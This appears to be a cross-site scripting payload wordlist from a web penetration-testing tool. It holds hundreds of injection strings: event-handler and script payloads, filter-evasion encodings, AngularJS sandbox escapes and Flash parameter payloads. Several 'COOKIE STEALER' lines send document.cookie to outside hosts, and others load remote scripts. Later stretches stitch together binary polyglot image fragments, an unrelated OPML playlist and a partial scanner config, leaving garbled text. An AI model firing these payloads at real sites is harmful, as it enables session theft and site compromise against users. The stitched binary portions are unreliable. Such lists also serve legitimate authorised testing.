width:\0065\0078\0070\0072\0065\0073\0073\0069\006F\006E\0028\0070\0072\006F\006D\0070\0074\0028\0031\0029\0029"
width:ex/**/pression(prompt(1))
width:expression(prompt(1))
width:expression\28 prompt \28 1 \29 \29
window.location.assign("http://xss.cx")
window.name//'name="javascript:alert("X")
window.name="javascript:confirm((window.opener||window).document.cookie);";
window.name='a\x01b'
window.name='hacked';location.replace('about:blank');
window.open("http://xss.cx","confirm(document.domain);", "", false);
window["ale" + (!![]+[])[+!+[]]+(!![]+[])[+[]]](1)
window["alert"]("X")
window["alert"](1)
with(document)alert(cookie)
with(document)body.appendChild(createElement('iframe onload=alert(1)>')),body.innerHTML+=''
x' or name()='username' or 'x'='y
x=(lol=alert(1),x=class x extends x{constructor(){alert(1)}}()()()()())=>class x extends x{}()()();x()
x=new class extends Function{}('alert(1)');x=new x;
xmlns:x="http://www.w3.org/1999/xhtml ">alert(1)
xmp
xâ€</title><img src%3dx onerror%3dconfirm(1)>
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}
{1+1,confirm(8)}
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1}}};alert(1)//');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
{{'a'.constructor.prototype.charAt=[].join;eval('x=1} } };alert(1)//');}}
{{'a'.constructor.prototype['char\u0041t']=''.concat;$eval("x='\"-(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}
{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}
{{(toString()).constructor.prototype.charAt=(toString()).constructor.prototype.concat;$eval((toString()).constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41))}}
{{0[a='constructor'][a]('alert(1)')()}}
{{[].pop.constructor('alert()')()}}
{{c=[];o=toString();t=o.anchor(true);f=o.anchor(false);c.push(o[5]);c.push(o[1]);c.push(t[3]);c.push(f[12]);c.push(t[9]);c.push(t[10]);c.push(t[11]);c.push(o[5]);c.push(t[9]);c.push(o[1]);c.push(t[10]);a=c.join([]);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[c.join([])].fromCharCode(97,108,101,114,116,40,49,41))()}}
{{m=[({}).constructor.defineProperties];[[''.toString.constructor,{'constructor':{} }].reduce(m[0])];''.toString.constructor('alert(1)')()}}
{{toString.constructor.prototype.toString=toString.constructor.prototype.call%3b[%22a%22,%22alert(1)%22].sort(toString.constructor)}}
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}}
{{{}.toString.constructor('confirm(1)')()}}
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=''.valueOf;$eval('x=alert(1)//');}}
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}
{}let{}={}
|alert(1)|
}</style><script>a=eval;b=alert;a(b(/i/.source));</script>"><script>"
taint<ed>si(nk)2'02"2"
<svg+onload=location=textContent>javascrip<k>t:aler<k>t(<k>1)//
\"+confirm(1)+"
”><script>alert(“X”)</script>
’><script>alert(1)</script>
∀㸀㰀script㸀alert(1)㰀/script㸀
“/><marquee onfinish=confirm(1)>a</marquee>
“><script>prompt(1)</script>
“><script>alert(String.fromCharCode(75,67,70))</script>
‘><script>prompt(1)</script>
‘><script>alert(String.fromCharCode(75,67,70))</script>
“><ScRIPt>prompt(1)</ScRIPt>
“><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>
‘><ScRIPt>prompt(1)</ScRIPt>
‘><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>
“/><script>prompt(1)</script>
“/><script>alert(String.fromCharCode(75,67,70))</script>
‘/><script>prompt(1)</script>
‘/><script>alert(String.fromCharCode(75,67,70))</script>
‘;!–<SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{}
¼script¾alert(¢X¢)¼/script¾
“;alert(“X”);”
“;alert(String.fromCharCode(75,67,70));”
‘;alert(“X”);’
‘;alert(String.fromCharCode(75,67,70));’
“;alert(“X”)
“;alert(String.fromCharCode(75,67,70))
‘;alert(“X”)
‘;alert(String.fromCharCode(75,67,70))
“><script >alert(1)</script>
“><s”%2b”cript>alert(1)</script>
“><ScRiPt>alert(1)</script>
“><<script>alert(1);//<</script>
‘; alert(1); var foo=’
“><script >alert(1)</script >
“><ScRiPt>alert(1)</ScRiPt>
“%3e%3cscript%3ealert(1)%3c/script%3e
“><scr<script>ipt>alert(1)</scr</script>ipt>
«img onerror=alert(1) src=a»
“<script>prompt(1)</script>
“;alert(1)//
‘-alert(1)-’
“<script>alert(1)</script>
“;prompt(1)//
‘-prompt(1)-’
'><body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow><html><script>alert(4)</script></html>
<html><script>alert(4)</script></html>
reflected
<script>alert(1)<script>
<img src=l onerror=alert(2)>
XSS
INJECTX
1111111
XXXXXXX
alert(
prompt(
location.href=
document.cookie(
crowdshield
#getURL,javascript:alert(1)",
#goto,javascript:alert(1)",
?javascript:alert(1)",
?alert(1)",
?getURL(javascript:alert(1))",
?asfunction:getURL,javascript:alert(1)//",
?getURL,javascript:alert(1)",
?goto,javascript:alert(1)",
?clickTAG=javascript:alert(1)",
?url=javascript:alert(1)",
?clickTAG=javascript:alert(1)&TargetAS=",
?TargetAS=javascript:alert(1)",
?skinName=asfunction:getURL,javascript:alert(1)//",
?baseurl=asfunction:getURL,javascript:alert(1)//",
?base=javascript:alert(0)",
?onend=javascript:alert(1)//",
?userDefined=');function someFunction(a){}alert(1)//",
?URI=javascript:alert(1)",
?callback=javascript:alert(1)",
?getURLValue=javascript:alert(1)",
?goto=javascript:alert(1)",
?pg=javascript:alert(1)",
?page=javascript:alert(1)"
?playerready=alert(document.cookie)
<img src=http://sn1persecurity.com/.testing/xss.png>//INJECTX REMOTE
<iframe src="http://sn1persecurity.com/.testing/xss_vuln.html"></iframe>//INJECTX
<script src="http://sn1persecurity.com/.testing/xss.js?script_src=1"></script>//INJECTX
<img src="http://sn1persecurity.com/.testing/xss.png?img_src=2"></img>//INJECTX
<iframe src="http://sn1persecurity.com/.testing/iframe_injection.php?iframe_src=3" height="100%" width="100%"></iframe>//INJECTX
<img src="http://sn1persecurity.com/.testing/xss.png?img_src_onerror_prompt" onerror=prompt(1) onload=prompt(2) onmouseover=prompt(3)>//INJECTX
<img src="http://sn1persecurity.com/.testing/xss.png?img_src_onerror_prompt" onerror=window.location("http://135.23.158.130/.testing/xss.html");>//INJECTX
<script>location.href='http://sn1persecurity.com/.testing/iframe_injection.php?'+document.cookie;</script>//INJECTX
</script><script src="http://sn1persecurity.com/.testing/xss.js?script_src=1">//INJECTX
<iframe src=http://sn1persecurity.com/.testing/xss_vuln.html onload=prompt(4) onmouseover=alert(5) onerror=prompt(6)><!--//*INJECTX
</textarea><iframe src=http://sn1persecurity.com/.testing/xss_vuln.html onload=prompt(7) onmouseover=alert(8) onerror=prompt(9)><!--//*INJECTX
<font color=red><h1>@INJECTX<iframe src=http://sn1persecurity.com/.testing/xss_vuln.html height=100% width=100% onload=prompt(10) onmouseover=alert(11) onerror=prompt(12)>
<a onclick="javascript:document.location='http://sn1persecurity.com/.testing/iframe_injection.php?cookie='+document.cookie;">INJECTX COOKIE STEALER!</a>
javascript:alert(1)//INJECTX
<svg/onload=alert(1)>//INJECTX
<img onload=alert(1)>//INJECTX
<img src=x onerror=prompt(1)>//INJECTX
<a href="javascript:alert(1)" onmouseover=alert(1)>INJECTX HOVER</a>
onmouseover="document.cookie=true;">//INJECTX
alert(1)>//INJECTX
<h1>INJECTX</h1>
<img src=x onload=prompt(1) onerror=alert(1) onmouseover=prompt(1)>
<svg><script>/<@/>alert(1)</script>//INJECTX
<svg/onload=alert(/INJECTX/)>
<iframe/onload=alert(/INJECTX/)>
<svg/onload=alert`INJECTX`>
<svg/onload=alert(`INJECTX`)>
}alert(/INJECTX/);{//
<h1/onclick=alert(1)>a//INJECTX
<p/onclick=alert(/INJECTX/)>a
<video><source onerror="javascript:alert(1)">//INJECTX
<video onerror="javascript:alert(1)"><source>//INJECTX
<audio onerror="javascript:alert(1)"><source>//INJECTX
<input autofocus onfocus=alert(1)>//INJECTX
<select autofocus onfocus=alert(1)>//INJECTX
<textarea autofocus onfocus=alert(1)>//INJECTX
<keygen autofocus onfocus=alert(1)>//INJECTX
<button form=test onformchange=alert(1)>//INJECTX
<form><button formaction="javascript:alert(1)">//INJECTX
<svg onload=(alert)(1) >//INJECTX
<script>$=1,alert($)</script>//INJECTX
<!--<img src="--><img src=x onerror=alert(1)//">//INJECTX
<img/src='x'onerror=alert(1)>//INJECTX
<marguee/onstart=alert(1)>//INJECTX
<script>alert(1)//INJECTX
<script>alert(1)<!--INJECTX
<marquee loop=1 width=0 onfinish=alert(1)>//INJECTXINJECTXXXXXXXXXXX
INJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
INJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
INJECTXXXXXXXXXXX "'`();</test>=/* <!-- // #
<iframe width="560" height="315" src="https://www.youtube.com/embed/dQw4w9WgXcQ?autoplay=1" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="https://www.youtube.com/embed/5LlQNty_C8s?autoplay=1" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="https://www.youtube.com/embed/iUXAHc-ABoY?autoplay=1" frameborder="0" allowfullscreen></iframe>
<img src="http://38.media.tumblr.com/809d39daf44dd25ef7ce77706e44e953/tumblr_nuvz98USdD1resp2ko1_500.gif"></img>
<img src="http://31.media.tumblr.com/ae3ef754917fe39e9c1fec441c553c85/tumblr_nsa8jqTm7i1resp2ko1_500.gif"></img>
<img src="http://38.media.tumblr.com/tumblr_m5who6JOEM1rna86e.gif"></img>
<img src="http://38.media.tumblr.com/tumblr_ls64yimLuz1r0ix14o1_400.gif"></img>
<img src="https://i.imgur.com/bYmdHcX.gif"></img>
<img src=https://crowdshield.com/.testing/xss.png onerror=prompt(13) onload=prompt(14) onmouseover=prompt(15)>//INJECTX REMOTE
<iframe src="https://crowdshield.com/.testing/xss_vuln.html"></iframe>//INJECTX
<script src="https://crowdshield.com/.testing/xss.js?script_src=1"></script>//INJECTX
<img src="https://crowdshield.com/.testing/xss.png?img_src=2 onerror=prompt(16) onload=prompt(17) onmouseover=prompt(18)"></img>//INJECTX
<iframe src="https://crowdshield.com/.testing/iframe_injection.php?iframe_src=3" height="0" width="0"></iframe>//INJECTX
<iframe src="https://crowdshield.com/.testing/iframe_injection.php?iframe_src=4" height="100%" width="100%"></iframe>//INJECTX
<img src="https://crowdshield.com/.testing/xss.png?img_src_onerror_prompt" onerror=prompt(19) onload=prompt(20) onmouseover=prompt(21)>//INJECTX
<img src="https://crowdshield.com/.testing/xss.png?img_src_onerror_prompt" onerror=window.location("http://135.23.158.130/.testing/xss.html");>//INJECTX
</script><script src="https://crowdshield.com/.testing/xss.js?script_src=1">//INJECTX
<iframe src=https://crowdshield.com/.testing/xss_vuln.html onload=prompt(22) onmouseover=alert(23) onerror=prompt(24)><!--//*INJECTX
</textarea><iframe src=https://crowdshield.com/.testing/xss_vuln.html onload=prompt(25) onmouseover=alert(26) onerror=prompt(27)><!--//*INJECTX
<font color=red><h1>@INJECTX<iframe src=https://crowdshield.com/.testing/xss_vuln.html height=100% width=100% onload=prompt(28) onmouseover=alert(29) onerror=prompt(30)>
<a onclick="javascript:document.location='https://crowdshield.com/.testing/iframe_injection.php?cookie='+document.cookie;">INJECTX COOKIE STEALER!</a>
'
"
">
/'>
')>
")>
'">
'>
;
')
")
");
\"+
\");
"/>
\"
\'
\";
';
<!-- INJECTX
// INJECTX
/* INJECTX
PNG
IHDR cIDATxcb<ScRiPT sRC=//XQI.CC></SCrIpt>3㍅ G0k+MIV/?X9]?#sGNQ0
F(`Q0
F & H IENDB`CWSi xeTRFږe1@44 d0!R n _$à,
+If:I'kr^Ы+ L4=;~g9_ ` Nq 'ם#q<0-V/*}ϳ[4:u.Ύ$7f5fO*퀠C\1lϠ :^T*7zKj 3Td@,ϕ#ԖNضMC>4} +RMxgF/xd%G:`-ھ&* HC4*S pi Y*!أ/6obr/I$]G'JlbSn4CuOOiXX _.^woN_wD`U: 8>|F̕`w,Yi~r;zළl fwPC*UAIElibxa] sCaTCԈ#nշ#sQwwu h&'D :w
:^ 6M:6#cu|&7v>8 $h]W XߩgݘC6)f-ma|."ILfnJMYޖ.X(B&numY5vB
a,( qEBY J#W$'I1 BqII%Ԥ37I"xo*nSJ}iJwI{ mzY^6ۛ_@V1KWJNj\rn ayP~P.Kߔr >Jgyc) exQGB ỵ2 hG H y /wl86)<:S`v s |)4_B(-CD~/459Ӵu q:(HGOql?6J\ ד 7> D( 0,Lx$7{ 8&`g"m(.JA/JQ/ʜ>'+|x VcqZ7e?S鴉PNG
F & H IENDB`<?xml version="1.0" encoding="ISO-8859-1"?>
<opml version="1.0">
<head>
<title>playlist.xml</title>
<dateCreated>Thu, 27 Jul 2000 03:24:18 GMT</dateCreated>
<dateModified>Fri, 15 Sep 2000 09:01:23 GMT</dateModified>
<ownerName>Dave Winer</ownerName>
<ownerEmail>dave@userland.com</ownerEmail>
<expansionState>1,3,17</expansionState>
<vertScrollState>1</vertScrollState>
<windowTop>164</windowTop>
<windowLeft>50</windowLeft>
<windowBottom>672</windowBottom>
<windowRight>455</windowRight>
</head>
<body>
<outline text="Background">
<outline text="I've started to note the songs I was listening to as I was writing DaveNet pieces. "/>
</outline>
<outline text="The Last Napster Sunday?">
<outline text="Heart of Glass.mp3" type="song" f="Blondie - Heart of Glass.mp3"/>
<outline text="Manic Monday.mp3" type="song" f="Bangles - Manic Monday.mp3"/>
<outline text="Everybody Have Fun Tonight.mp3" type="song" f="Wang Chung - Everybody Have Fun Tonight.mp3"/>
<outline text="She Blinded Me With Science.mp3" type="song" f="Thomas Dolby - She Blinded Me With Science.mp3"/>
<outline text="Rivers of Babylon (HTC).mp3" type="song" f="Jimmy Cliff - Rivers of Babylon (HTC).mp3"/>
<outline text="The Tide Is High.mp3" type="song" f="Blondie - The Tide Is High.mp3"/>
<outline text="Back to the Island.mp3" type="song" f="Leon Russell - Back to the Island.mp3"/>
<outline text="Lucky Man.mp3" type="song" f="Emerson Lake & Palmer - Lucky Man.mp3"/>
<outline text="Up on Cripple Creek.mp3" type="song" f="The Band - Up on Cripple Creek.mp3"/>
<outline text="Crackerbox Palace.mp3" type="song" f="George Harrison - Crackerbox Palace.mp3"/>
<outline text="Taxi.Mp3" type="song" f="Harry Chapin - Taxi.Mp3"/>
<outline text="Thick As A Brick.mp3" type="song" f="Jethro Tull-Thick As A Brick.mp3"/>
<outline text="Riding With the King.mp3" type="song" f="B. B. King & Eric Clapton - Riding With the King - 11 - Hold On Im Coming.mp3"/>
<outline text="The Thrill is Gone?">
<outline text="Shaft.MP3" type="song" f="Isaac Hayes - Shaft.MP3"/>
<outline text="Superfly.mp3" type="song" f="Curtis Mayfield -- Superfly.mp3"/>
<outline text="The Harder They Come.mp3" type="song" f="Jimmy Cliff - The Harder They Come.mp3"/>
<outline text="The Revolution Will Not Be Televised.mp3" type="song" f="Gil Scott Heron - The Revolution Will Not Be Televised.mp3"/>
<outline text="The Thrill Is Gone.mp3" type="song" f="BB King - The Thrill Is Gone.mp3"/>
<outline text="Hit Me with Your Rhythm Stick.mp3" type="song" f="Ian Drury & the Blockheads - Hit Me with Your Rhythm Stick.mp3"/>
</body>
</opml>
<?xml version="1.0" standalone="no"?>
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
alert(document.domain);
</svg><?xml version="1.0" encoding="ISO-8859-1"?>
F & H IENDB` JFIF d d Ducky d Adobe d
!1Q2#46AaqBR3CeF !1AQ"aB# ? NB@
f Ȃk\\O
16,8o'o(uu5dg
AHk }۫nޞ]R eM&\=d5K fr[neJ~=ǣϕr24[;
$tHn 5#- i"#JW)JL[ύ6LF aYX|Db⇸id52#
8IFr6,MaroU[&T4 xwcxN; &6c-o[UƎ&&_BqUzIus 'o ץ:rDO?w X;~
.AAި>8?/?%ڻڜ>_>D'? JFIF d d Ducky d Adobe d
.AAި>8?/?%ڻڜ>_>D'?[{"Name":"ACTIVE - XSS","Active":true,"Scanner":1,"Payloads":["\u003c/INJECTX\u003e(1)","\"\u003e\u003c/INJECTX\u003e(1)"],"Encoder":["URL-encode key characters"],"UrlEncode":true,"CharsToUrlEncode":" 